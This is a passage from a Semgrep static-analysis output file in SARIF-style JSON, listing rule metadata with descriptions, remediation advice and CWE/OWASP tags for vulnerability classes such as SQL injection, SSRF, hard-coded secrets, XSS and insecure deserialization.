php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.sequelize-express.sequelize-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.sequelize-express.sequelize-express","id":"javascript.express.db.sequelize-express.sequelize-express","name":"javascript.express.db.sequelize-express.sequelize-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.sequelize-express.sequelize-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary."},"help":{"markdown":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf)\n - [https://www.cvedetails.com/cve/CVE-2020-28168/](https://www.cvedetails.com/cve/CVE-2020-28168/)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"User-controllable argument $DATAVAL to $METHOD passed to Axios via internal handler $INNERFUNC. This could be a server-side request forgery. A user could call a restricted API or leak internal headers to an unauthorized party. Validate your user arguments against an allowlist of known URLs, or consider refactoring so that user-controlled data is not necessary."},"helpUri":"https://semgrep.dev/r/javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","id":"javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","name":"javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.apollo.security.apollo-axios-ssrf.apollo-axios-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","id":"python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","name":"python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-aiohttp.tainted-fastapi-http-request-aiohttp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class."},"help":{"markdown":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted)\n - [https://laravel.com/docs/9.x/responses#cookies-and-encryption](https://laravel.com/docs/9.x/responses#cookies-and-encryption)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cookie-security-and-session-management](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cookie-security-and-session-management)\n","text":"The application appears to have disabled the cookie encryption middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by encrypting cookies if you use them to handle sessions or storing sensitive data. To enable the cookie encryption middleware add `\\$APP\\Http\\Middleware\\EncryptCookies` to the middleware group in your `$APP\\Http\\Kernel` class."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","id":"php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","name":"php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-cookie-not-encrypted.laravel-cookie-not-encrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","id":"javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","name":"javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mongodb.node-mongodb-hardcoded-secret.node-mongodb-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile"},"help":{"markdown":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash)\n - [https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile](https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile)\n","text":"Found an initialization of the Intercom Messenger that identifies a User, but does not specify a `user_hash`. This configuration allows users to impersonate one another. See the Intercom Identity Verification docs for more context https://www.intercom.com/help/en/articles/183-set-up-identity-verification-for-web-and-mobile"},"helpUri":"https://semgrep.dev/r/javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","id":"javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","name":"javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.intercom.security.audit.intercom-settings-user-identifier-without-user-hash.intercom-settings-user-identifier-without-user-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"help":{"markdown":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion)\n - [https://cwe.mitre.org/data/definitions/704.html](https://cwe.mitre.org/data/definitions/704.html)\n","text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","id":"kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","name":"kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.bad-hexa-conversion.bad-hexa-conversion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-url.mysql-connection-url)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","id":"rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","name":"rust.secrets.sqlx.mysql-connection-url.mysql-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.mysql-connection-url.mysql-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application."},"help":{"markdown":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.audit.mass-assignment.mass-assignment)\n - [https://cwe.mitre.org/data/definitions/915.html](https://cwe.mitre.org/data/definitions/915.html)\n - [https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md](https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md)\n","text":"Mass assignment or Autobinding vulnerability in code allows an attacker to execute over-posting attacks, which could create a new parameter in the binding request and manipulate the underlying object in the application."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.audit.mass-assignment.mass-assignment","id":"csharp.dotnet.security.audit.mass-assignment.mass-assignment","name":"csharp.dotnet.security.audit.mass-assignment.mass-assignment","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.audit.mass-assignment.mass-assignment"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","id":"python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","name":"python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.net.tainted-cherrypy-http-request-requests.tainted-cherrypy-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header."},"help":{"markdown":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-href.var-in-href)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI)\n - [https://github.com/pugjs/pug/issues/2952](https://github.com/pugjs/pug/issues/2952)\n","text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: href='/<%= link =>'. You may also consider setting the Content Security Policy (CSP) header."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","id":"ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","name":"ruby.rails.security.audit.xss.templates.var-in-href.var-in-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.var-in-href.var-in-href"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters."},"help":{"markdown":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.unicode.security.bidi.contains-bidirectional-characters)\n - [https://trojansource.codes/](https://trojansource.codes/)\n","text":"This code contains bidirectional (bidi) characters. While this is useful for support of right-to-left languages such as Arabic or Hebrew, it can also be used to trick language parsers into executing code in a manner that is different from how it is displayed in code editing and review tools. If this is not what you were expecting, please review this code in an editor that can reveal hidden Unicode characters."},"helpUri":"https://semgrep.dev/r/generic.unicode.security.bidi.contains-bidirectional-characters","id":"generic.unicode.security.bidi.contains-bidirectional-characters","name":"generic.unicode.security.bidi.contains-bidirectional-characters","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.unicode.security.bidi.contains-bidirectional-characters"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-dill-django.tainted-dill-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-dill-django.tainted-dill-django","id":"python.django.deserialization.tainted-dill-django.tainted-dill-django","name":"python.django.deserialization.tainted-dill-django.tainted-dill-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-dill-django.tainted-dill-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pgx.pgx-empty-password.pgx-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pgx.pgx-empty-password.pgx-empty-password","id":"go.secrets.pgx.pgx-empty-password.pgx-empty-password","name":"go.secrets.pgx.pgx-empty-password.pgx-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pgx.pgx-empty-password.pgx-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"help":{"markdown":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.wildcard-assume-role.wildcard-assume-role)\n - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)\n","text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"helpUri":"https://semgrep.dev/r/json.aws.security.wildcard-assume-role.wildcard-assume-role","id":"json.aws.security.wildcard-assume-role.wildcard-assume-role","name":"json.aws.security.wildcard-assume-role.wildcard-assume-role","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.wildcard-assume-role.wildcard-assume-role"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.php-permissive-cors.php-permissive-cors)\n - [https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/php.lang.security.php-permissive-cors.php-permissive-cors","id":"php.lang.security.php-permissive-cors.php-permissive-cors","name":"php.lang.security.php-permissive-cors.php-permissive-cors","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.php-permissive-cors.php-permissive-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `sandbox`."},"help":{"markdown":"Make sure that unverified user data can not reach `sandbox`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `sandbox`."},"helpUri":"https://semgrep.dev/r/javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","id":"javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","name":"javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sandbox.security.audit.sandbox-code-injection.sandbox-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary 